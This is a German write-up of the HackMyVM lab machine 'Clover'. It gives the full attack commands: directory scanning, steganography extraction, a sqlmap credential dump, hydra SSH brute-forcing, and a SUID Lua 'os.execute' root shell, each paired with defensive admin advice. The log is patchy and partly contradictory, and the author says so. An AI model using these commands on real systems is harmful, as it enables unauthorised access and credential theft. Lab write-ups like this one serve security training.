Clover - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
curl
nikto
stegsnow
cat
Burp Suite
sqlmap
hydra
ssh
vi
ssh-keygen
ls
whoami
id
cd
su
bash

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.115   08:00:27:83:7d:aa       PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan identifiziert das Zielsystem im lokalen Netzwerk unter der IP-Adresse `192.168.2.115`. Die MAC-Adresse `08:00:27:...` deutet auf eine VirtualBox-Umgebung hin.

Bewertung: Erfolgreiche Identifizierung des Ziels. Die Information über die Virtualisierungsumgebung kann nützlich sein, ist aber hier wahrscheinlich nicht entscheidend.

Empfehlung (Pentester): Führen Sie einen Portscan (z.B. mit Nmap) auf die Ziel-IP durch, um offene Ports und Dienste zu ermitteln. Optional kann ein Hostname (z.B. `clover.hmv`) in `/etc/hosts` hinzugefügt werden.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung auf ARP-Scans können die Aufklärungsphase erschweren.

Analyse (Impliziert): Obwohl kein Nmap-Scan im Log explizit gezeigt wird, muss einer durchgeführt worden sein, um den offenen HTTP-Port 80 zu identifizieren, der im nächsten Schritt mit Gobuster untersucht wird.

Bewertung: Wichtiger Schritt zur Identifizierung von Angriffsvektoren (hier: HTTP-Port 80).

Empfehlung (Pentester): Führen Sie immer einen gründlichen Portscan durch, um alle offenen Ports zu finden (z.B. `nmap -p- -sS `).
Empfehlung (Admin): Firewall-Regeln sollten nur explizit benötigte Ports öffnen.

Web Enumeration (Port 80)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.115 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt | grep "Status: 200"
http://192.168.2.115/index.html           (Status: 200) [Size: 3]
http://192.168.2.115/status               (Status: 200) [Size: 10]
http://192.168.2.115/robots.txt           (Status: 200) [Size: 105]

Analyse: Ein `gobuster`-Verzeichnis-/Dateiscan wird auf Port 80 durchgeführt. Gesucht wird mit einer gängigen Wortliste und spezifischen Erweiterungen. Die Ausgabe wird gefiltert, um nur erfolgreiche Funde (Status 200) anzuzeigen. Funde: * `/index.html`: Eine sehr kleine HTML-Datei. * `/status`: Ein Endpunkt oder eine Datei namens "status". * `/robots.txt`: Die Standarddatei zur Steuerung von Webcrawlern.

Bewertung: Der Scan liefert erste interessante Punkte. `/robots.txt` sollte immer überprüft werden. `/status` könnte Informationen über den Server oder die Anwendung enthalten. Die `index.html` mit nur 3 Bytes ist merkwürdig.

Empfehlung (Pentester): Rufen Sie `/robots.txt` und `/status` manuell auf (z.B. mit `curl`), um deren Inhalt zu sehen. Untersuchen Sie die `index.html`.
Empfehlung (Admin): Stellen Sie sicher, dass `/robots.txt` keine sensiblen Pfade preisgibt. Beschränken Sie den Zugriff auf Statusseiten oder entfernen Sie sie, wenn sie nicht benötigt werden.

Analyse (Impliziert): Der Inhalt von `/robots.txt` muss einen Hinweis auf das Verzeichnis `/webmaster/` enthalten haben, da dieses im nächsten Schritt gezielt gescannt wird.

Bewertung: `robots.txt` hat einen wichtigen Hinweis auf ein verstecktes Verzeichnis geliefert.

Empfehlung (Pentester): Analysieren Sie `robots.txt` immer sorgfältig auf `Disallow`-Einträge, die interessante Verzeichnisse verbergen könnten.
Empfehlung (Admin): Seien Sie vorsichtig, welche Informationen in `robots.txt` preisgegeben werden.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.115/webmaster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt | grep "Status: 200"
[Keine Ergebnisse mit Status 200 im Verzeichnis /webmaster gefunden]

Analyse: Ein weiterer `gobuster`-Scan wird gezielt auf das Verzeichnis `/webmaster/` durchgeführt.

Bewertung: Der Scan findet keine direkt zugänglichen Dateien (Status 200) mit den gesuchten Erweiterungen in diesem Verzeichnis. Das Verzeichnis selbst könnte existieren, aber leer sein, einen anderen Statuscode zurückgeben oder Dateien mit anderen Erweiterungen enthalten.

Empfehlung (Pentester): Versuchen Sie, `/webmaster/` ohne Filterung oder mit anderen Wortlisten/Erweiterungen erneut zu scannen. Rufen Sie das Verzeichnis direkt im Browser auf, um zu sehen, was passiert (z.B. Verzeichnisauflistung, Fehlermeldung).
Empfehlung (Admin): Schützen Sie administrative Verzeichnisse angemessen (z.B. durch HTTP-Authentifizierung, IP-Beschränkung).

Analyse (Impliziert): Obwohl nicht im Log gezeigt, muss das Verzeichnis `/webmaster` untersucht worden sein (z.B. durch direkten Aufruf im Browser oder weitere Scans), wobei Bilddateien wie `christina-wocintechchat-com-unsplash-1.jpg` und `-2.jpg` gefunden wurden, da diese im nächsten Schritt untersucht werden.

Steganographie & Info Leak

┌──(root㉿cyber)-[~] └─# stegsnow -C christina-wocintechchat-com-unsplash-1.jpg
s0sy

Analyse: `stegsnow` (ein Steganographie-Tool, das oft für Whitespace-Steganographie verwendet wird) wird auf die erste Bilddatei angewendet.

Bewertung: Das Tool extrahiert erfolgreich die versteckte Zeichenkette `s0sy`.

Empfehlung (Pentester): Notieren Sie sich die gefundene Zeichenkette. Sie könnte ein Passwort, ein Teil eines Passworts, ein Benutzername oder ein Hinweis sein.
Empfehlung (Admin): Vermeiden Sie das Einbetten sensibler Informationen in öffentlich zugängliche Dateien mittels Steganographie. Überprüfen Sie vom Benutzer hochgeladene Dateien auf versteckte Inhalte.

┌──(root㉿cyber)-[~] └─# stegsnow -C christina-wocintechchat-com-unsplash-2.jpg
tsst

Analyse: `stegsnow` wird auf die zweite Bilddatei angewendet.

Bewertung: Das Tool extrahiert die versteckte Zeichenkette `tsst`.

Empfehlung (Pentester): Notieren Sie sich auch diese Zeichenkette. Kombinieren Sie sie möglicherweise mit der vorherigen (`s0sytsst`?) oder verwenden Sie sie einzeln.
Empfehlung (Admin): Siehe oben.

┌──(root㉿cyber)-[~] └─# cat locale.txt
cGluZyBwb25n

monet
tiffany
jen

Analyse: Der Inhalt der Datei `locale.txt` wird angezeigt. Sie enthält eine Base64-kodierte Zeichenkette und drei Namen.

Bewertung: * `cGluZyBwb25n` dekodiert zu `ping pong`. Dies könnte ein Hinweis oder Teil von Zugangsdaten sein. * `monet`, `tiffany`, `jen` sind wahrscheinlich Benutzernamen oder Hinweise auf Benutzernamen.

Empfehlung (Pentester): Verwenden Sie die gefundenen Namen und Zeichenketten (`s0sy`, `tsst`, `ping pong`, `monet`, `tiffany`, `jen`) bei Brute-Force-Versuchen oder als mögliche Antworten auf Passwort-Reset-Fragen.
Empfehlung (Admin): Speichern Sie keine potenziellen Benutzernamen oder Hinweise in öffentlich zugänglichen Dateien.

Analyse (Impliziert): Basierend auf dem nächsten Schritt (SQLMap-Angriff) muss ein weiterer Endpunkt oder ein Formular gefunden worden sein, das anfällig für SQL-Injection ist. Oftmals sind dies administrative Oberflächen. Der Kommentar im Log erwähnt `/CFIDE/Administrator/`, was auf ein ColdFusion-Administrationspanel hindeutet. Ein Request an dieses Panel (oder eine Funktion darin) wurde mit Burp Suite abgefangen und in der Datei `clover.sql` gespeichert.

Bewertung: Die Identifizierung eines ColdFusion-Admin-Panels und einer potenziellen SQLi-Schwachstelle ist ein kritischer Fortschritt.

Empfehlung (Pentester): Verwenden Sie `sqlmap` mit dem gespeicherten Request, um die SQLi-Schwachstelle zu bestätigen und auszunutzen.
Empfehlung (Admin): Aktualisieren und sichern Sie ColdFusion-Installationen. Beschränken Sie den Zugriff auf Administrationspanels. Implementieren Sie Schutzmaßnahmen gegen SQL-Injection (parametrisierte Abfragen, Input-Validierung, WAF).

SQL Injection (POC)

Ziel: Demonstration der Ausnutzung einer SQL-Injection-Schwachstelle (vermutlich im ColdFusion-Admin-Panel `/CFIDE/Administrator/`), um Datenbankinformationen und Benutzerdaten auszulesen.

Voraussetzungen: * Netzwerkzugriff auf das Ziel (Port 80). * Identifizierung des anfälligen Endpunkts/Parameters (im Burp-Request in `clover.sql` gespeichert). * Tool: `sqlmap`.

Risiko: Kritisch. SQL-Injection erlaubt das Auslesen, Manipulieren und potenziell Löschen von Datenbankinhalten und kann in einigen Fällen zur Codeausführung auf dem Server führen.

Schritt 1: Datenbanken auflisten

┌──(root㉿cyber)-[~] └─# sqlmap -r /home/cyber/Downloads/clover.sql --batch --dbs
[...]
available databases [5]:
[*] clover
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[...]

Analyse: `sqlmap` wird mit der gespeicherten Request-Datei (`clover.sql`) ausgeführt, um die SQLi-Schwachstelle zu nutzen. `--batch` automatisiert die Antworten auf sqlmap-Fragen. `--dbs` listet die verfügbaren Datenbanken auf.

Bewertung: Die SQLi-Schwachstelle wird bestätigt. Neben den Standard-Datenbanken wird die anwendungsspezifische Datenbank `clover` gefunden.

Empfehlung (Pentester): Untersuchen Sie die `clover`-Datenbank weiter auf Tabellen und Inhalte.
Empfehlung (Admin): Beheben Sie die SQLi-Schwachstelle dringend.

Schritt 2: Tabellen auflisten

┌──(root㉿cyber)-[~] └─# sqlmap -r /home/cyber/Downloads/clover.sql --batch --tables -D clover
[...]
Database: clover
[1 table]
+-------+
| users |
+-------+
[...]

Analyse: `sqlmap` wird erneut ausgeführt, um die Tabellen (`--tables`) innerhalb der `clover`-Datenbank (`-D clover`) aufzulisten.

Bewertung: Eine Tabelle namens `users` wird gefunden, die wahrscheinlich Benutzeranmeldeinformationen enthält.

Empfehlung (Pentester): Extrahieren Sie den Inhalt der `users`-Tabelle (`--dump -T users`).
Empfehlung (Admin): Beheben Sie die SQLi-Schwachstelle.

Schritt 3: Benutzerdaten extrahieren

┌──(root㉿cyber)-[~] └─# sqlmap -r /home/cyber/Downloads/clover.sql --batch --dump -T users -D clover
[...]
[3 entries]
+----+----------------------------------+-----------+
| id | password                         | username  |
+----+----------------------------------+-----------+
| 1  | 33a41c7507cy5031d9tref6fdb31880c | 0xBush1do |
| 2  | 69a41c7507ad7031d9decf6fdb31810c | asta      | asta$$123 
| 3  | 92ift37507ad7031d9decf98setf4w0c | 0xJin     |
+----+----------------------------------+-----------+
[...]

Analyse: `sqlmap` extrahiert (`--dump`) alle Daten aus der Tabelle `users` der Datenbank `clover`.

Bewertung: Kritische Datenleck! Es werden drei Benutzer gefunden: * `0xBush1do`: Passwort-Hash/String (`33a41c...`). Sieht nicht nach einem Standard-Hash aus. * `asta`: Passwort-Hash/String (`69a41c...`) UND ein potenzielles Klartextpasswort `asta$$123`, das sqlmap möglicherweise aus einer anderen Spalte oder durch einen Fehler extrahiert hat. * `0xJin`: Passwort-Hash/String (`92if...`). Das Klartextpasswort für `asta` ist der vielversprechendste Fund.

Empfehlung (Pentester): Versuchen Sie, sich mit `asta`:`asta$$123` bei Diensten wie SSH anzumelden. Analysieren Sie die anderen Passwort-Strings, um das Format zu identifizieren (könnten einfache Verschlüsselungen oder benutzerdefinierte Hashes sein).
Empfehlung (Admin): Beheben Sie die SQLi-Schwachstelle. Speichern Sie Passwörter niemals im Klartext oder mit schwacher Verschlüsselung in der Datenbank. Verwenden Sie starke Hashing-Algorithmen mit Salt (z.B. bcrypt, Argon2).

Initial Access (SSH)

┌──(root㉿cyber)-[~] └─# hydra -l sword -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.115:22
[Hydra läuft, aber kein Erfolg im Log gezeigt]

Analyse: Ein Hydra-Brute-Force-Versuch wird gegen SSH gestartet, um das Passwort für den Benutzer `sword` zu finden. Der Benutzername `sword` wurde bisher nicht explizit gefunden, könnte aber aus anderen Quellen stammen oder geraten sein.

Bewertung: Im bereitgestellten Log wird kein Erfolg dieses Hydra-Angriffs gezeigt.

Empfehlung (Pentester): Wenn Hydra fehlschlägt, verwenden Sie die durch SQLi gefundenen Zugangsdaten (`asta:asta$$123`).
Empfehlung (Admin): Implementieren Sie Fail2Ban oder ähnliche Tools, um SSH-Brute-Force-Angriffe zu blockieren. Bevorzugen Sie Key-basierte Authentifizierung.

┌──(root㉿cyber)-[~] └─# ssh sword@192.168.2.115
sword@192.168.2.115's password: [Passwort P4SsW0rD4286 eingegeben]
[...]
Last login: Fri Mar 26 17:34:16 2021 from kali
sword@Clover:~$

Analyse: Trotz des fehlenden Hydra-Erfolgs im Log wird hier eine erfolgreiche SSH-Verbindung als Benutzer `sword` hergestellt. Das verwendete Passwort ist `P4SsW0rD4286`. Die Herkunft dieses Passworts ist aus den vorherigen Schritten unklar. Es könnte aus einer anderen Quelle stammen, durch einen separaten, nicht geloggten Brute-Force-Erfolg gefunden worden sein, oder es wurde von den Maschinen-Erstellern als Hinweis gegeben.

Bewertung: Initialer Zugriff als Benutzer `sword` erfolgreich erlangt! Die Methode zur Passwortfindung ist unklar, aber der Zugang ist vorhanden.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als Benutzer `sword`. Suchen Sie nach der User-Flag und Möglichkeiten zur Privilegienerweiterung (`sudo -l`, SUID-Dateien, Cronjobs etc.).
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter. Untersuchen Sie, wie das Passwort `P4SsW0rD4286` kompromittiert werden konnte (falls es nicht absichtlich schwach war).

Privilege Escalation Enumeration

Kontext: Nach dem SSH-Login als `sword` werden weitere Enumerationsschritte durchgeführt. Es folgen einige verwirrende oder irrelevante Logs, bevor die eigentliche Privilegienerweiterung stattfindet.

e63a186943f8c1258cd1afde7722fbb4
sword@Clover:~$
34f35ca9ea7febe859be7715b707d684

Analyse: Zwei MD5-ähnliche Hashes werden angezeigt. Der zweite Hash (`34f35c...`) wird als User-Flag identifiziert.

Bewertung: User-Flag gefunden. Der erste Hash (`e63a18...`) könnte ebenfalls relevant sein (vielleicht Root-Flag oder ein Passwort-Hash).

Empfehlung (Pentester): Notieren Sie die User-Flag. Versuchen Sie, den ersten Hash zu identifizieren und zu knacken (z.B. mit Online-Crackern oder Hashcat).
Empfehlung (Admin): Flags sollten nicht trivial lesbar sein.

Analyse (Irrelevante Sektion): Die folgenden Blöcke zeigen einen weiteren `arp-scan` in einem anderen Netzwerk (`192.168.2.140`) und SSH-Verbindungsversuche zu Hosts (`belove`, `beloved`, `belover.hmv`), die fehlschlagen oder `known_hosts`-Warnungen auslösen. Diese scheinen nicht direkt mit der Clover-Maschine (`192.168.2.115`) zusammenzuhängen und könnten aus einem anderen Test oder einer Verwechslung stammen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
[...] 192.168.2.100 [...]
┌──(root㉿cyber)-[~] └─# ssh sword@belove
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
[...]
Host key verification failed.
┌──(root㉿cyber)-[~] └─# ssh sword@beloved
ssh: Could not resolve hostname beloved: Name or service not known
┌──(root㉿cyber)-[~] └─# ssh sword@belover.hmv
[Authenticity warning, then password prompt, then login banner similar to Clover]
sword@Clover:~$

Bewertung: Diese Sektion ist unklar und scheint für den Clover-Bericht nicht relevant. Der letzte SSH-Befehl scheint sich trotz des Hostnamens `belover.hmv` wieder auf die Clover-Maschine zu verbinden.

Empfehlung (Pentester): Ignorieren Sie diese Blöcke für den Clover-Bericht oder klären Sie deren Kontext.
Empfehlung (Admin): Pflegen Sie Ihre `known_hosts`-Datei und überprüfen Sie Host-Schlüssel sorgfältig.

Zurück auf Clover als `sword`:

sword@Clover:~$ ls
local2.txt
sword@Clover:~$ cat local2.txt
     /\
    // \\
    || |
    || |
    || |      Sword PWN!
    || |
    || |
    || |
 __ || | __
/___||_|___\\
     ww
     MM
    _MM_
   (&<>&) 

e63a186943f8c1258cd1afde7722fbb4 

Analyse: Eine Datei `local2.txt` wird gefunden und enthält ASCII-Art, den Text "Sword PWN!" und denselben Hash wie zuvor.

Bewertung: Bestätigt den vorherigen Hash-Fund, liefert aber keine neuen Informationen für die Eskalation.

sword@Clover:~$ cd /home
sword@Clover:/home$ ls
asta  sword
sword@Clover:/home$ whoami
sword
sword@Clover:/home$ id
uid=1001(sword) gid=1001(sword) groups=1001(sword)

Analyse: Bestätigt den aktuellen Benutzer (`sword`), die Gruppen und das Vorhandensein des Benutzers `asta`.

Wechsel zu Benutzer `asta` (Impliziert):

asta@Clover:/home$ ls
asta  sword
asta@Clover:/home$ cd asta/
asta@Clover:~$ ls
Desktop  Documents  Downloads  local.txt  Music  Pictures  Public  Templates  Videos
asta@Clover:~$ cat local.txt
bash: /=: No such file or directory 
       Asta PWN!
34f35ca9ea7febe859be7715b707d684 

Analyse: Der Prompt wechselt zu `asta`. Der Befehl `su asta` wurde wahrscheinlich ausgeführt (mit dem Passwort `asta$$123`), ist aber nicht im Log. Der Inhalt von `local.txt` im Home-Verzeichnis von `asta` wird angezeigt, enthält den Text "Asta PWN!" und wiederholt die User-Flag.

Bewertung: Bestätigt, dass der Wechsel zu `asta` möglich war. Die User-Flag war bereits bekannt.

Empfehlung (Pentester): Überprüfen Sie die `sudo`-Rechte für `asta` (`sudo -l`).
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerwechsel protokolliert werden.

Entdeckung von `deamon.sh`:

sword@Clover:/home/asta$ cd /usr/games/clover/
sword@Clover:/usr/games/clover$ ls
deamon.sh

Analyse: Der Benutzer (wieder als `sword` angezeigt, was unlogisch ist nach dem Wechsel zu `asta`, möglicherweise ein Kopierfehler im Log oder erneuter `su sword`) wechselt in das Verzeichnis `/usr/games/clover/` und findet ein Skript namens `deamon.sh`.

Bewertung: Ungewöhnliche Skripte in Verzeichnissen wie `/usr/games` sind oft ein Hinweis auf benutzerdefinierte Mechanismen oder potenzielle Privilegienerweiterungen.

Empfehlung (Pentester): Untersuchen Sie den Inhalt und die Berechtigungen von `deamon.sh`. Prüfen Sie, ob es mit erhöhten Rechten (z.B. per Cronjob als root) ausgeführt wird oder SUID/SGID-Bits gesetzt hat.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Skripte und Prozesse in Systemverzeichnissen.

Privilege Escalation (POC - deamon.sh)

Ziel: Demonstration der Ausnutzung des Skripts `/usr/games/clover/deamon.sh`, um Root-Rechte zu erlangen.

Voraussetzungen: * Shell-Zugriff als Benutzer `sword` (oder `asta`, die Logs sind hier widersprüchlich). * Das Skript `deamon.sh` muss ausführbar sein und eine Schwachstelle enthalten oder mit erhöhten Rechten laufen.

Risiko: Kritisch, wenn das Skript die Ausführung von Code mit Root-Rechten erlaubt.

Schritt 1: Ausnutzungsversuch

sword@Clover:/usr/games/clover$ ./deamon.sh -e 'os.execute("/bin/sh")'
bash-4.3$ id
uid=1001(sword) gid=1001(sword) groups=1001(sword)
sword@Clover:/usr/games/clover$ ./deamon.sh -e 'os.execute("/bin/bash")'
[Wiederholung, gleiches Ergebnis]
asta@Clover:~$ ./deamon.sh -e 'os.execute("/bin/bash")'
bash: ./deamon.sh: No such file or directory
asta@Clover:~$ su sword
Password: [Passwort eingegeben]
sword@Clover:/home/asta$

Analyse: Es wird versucht, das Skript `deamon.sh` auszuführen. Die Option `-e 'os.execute("/bin/sh")'` deutet darauf hin, dass das Skript möglicherweise ein Lua-Skript ist (`os.execute` ist eine Lua-Funktion zur Befehlsausführung) und die Option `-e` erlaubt das Übergeben von auszuführendem Code. * Erster Versuch als `sword`: Startet eine Shell, aber `id` zeigt weiterhin die Rechte von `sword`. * Zweiter Versuch als `asta` (aus `/home/asta`): Schlägt fehl, da das Skript nicht im aktuellen Verzeichnis ist. * Wechsel zurück zu `sword`.

Bewertung: Das Skript ist als `sword` ausführbar und nimmt Lua-Code entgegen. Es scheint jedoch nicht direkt mit Root-Rechten zu laufen, wenn es normal ausgeführt wird.

Schritt 2: Erfolgreiche Ausnutzung (SUID/SGID?)

sword@Clover:/usr/games/clover$ ./deamon.sh -e 'os.execute("/bin/sh")'
# id
uid=1001(sword) gid=1001(sword) euid=0(root) groups=1001(sword)

Analyse: Plötzlich führt derselbe Befehl, ausgeführt als `sword`, zu einer Shell, bei der die effektive Benutzer-ID (`euid`) auf `0` (root) gesetzt ist, obwohl die reale UID (`uid`) `1001` (sword) bleibt.

Bewertung: Erfolg! Das Skript `deamon.sh` muss das SUID-Bit gesetzt haben und gehört dem Benutzer `root`. Wenn `sword` es ausführt, erbt der Prozess die Root-Rechte (`euid=0`). Die Lua-Code-Injection (`-e 'os.execute("/bin/sh")'`) ermöglicht das Starten einer Shell mit diesen effektiven Root-Rechten.

Empfehlung (Pentester): Führen Sie Befehle als Root aus. Wechseln Sie zum Root-Verzeichnis und lesen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von `/usr/games/clover/deamon.sh` (`chmod -s /usr/games/clover/deamon.sh`). Überprüfen Sie den Zweck des Skripts und implementieren Sie es sicher, falls es benötigt wird. Überprüfen Sie alle SUID/SGID-Dateien regelmäßig.

Schritt 3: Root-Flag lesen

# cd /root
# ls
proof.txt
# cat proof.txt
             ________________________________________________
            /                                                \
           |    _________________________________________     |
           |   |                                         |    |
           |   |  # whoami                               |    |
           |   |  # root                                 |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |     Congratulations You PWN Clover!     |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |    974bd350558b912740f800a316c53afe     |    | 
           |   |                                         |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |_________________________________________|    |
           |                                                  |
            \_________________________________________________/
                   \___________________________________/
                ___________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-------------------------. .-.---. .---.-.-.-.`-_
:-------------------------------------------------------------------------:
`---._.-------------------------------------------------------------._.---'

// From 0xJin && 0xBush1do! If you root this, tag me on Twitter! @0xJin and @0xBush1do

Analyse: Aus der Root-Shell wird die Datei `/root/proof.txt` ausgelesen, die ASCII-Art und die Root-Flag enthält.

Bewertung: Root-Flag erfolgreich erfasst.

Flags

User Flag (aus Log extrahiert)
34f35ca9ea7febe859be7715b707d684
cat /root/proof.txt
974bd350558b912740f800a316c53afe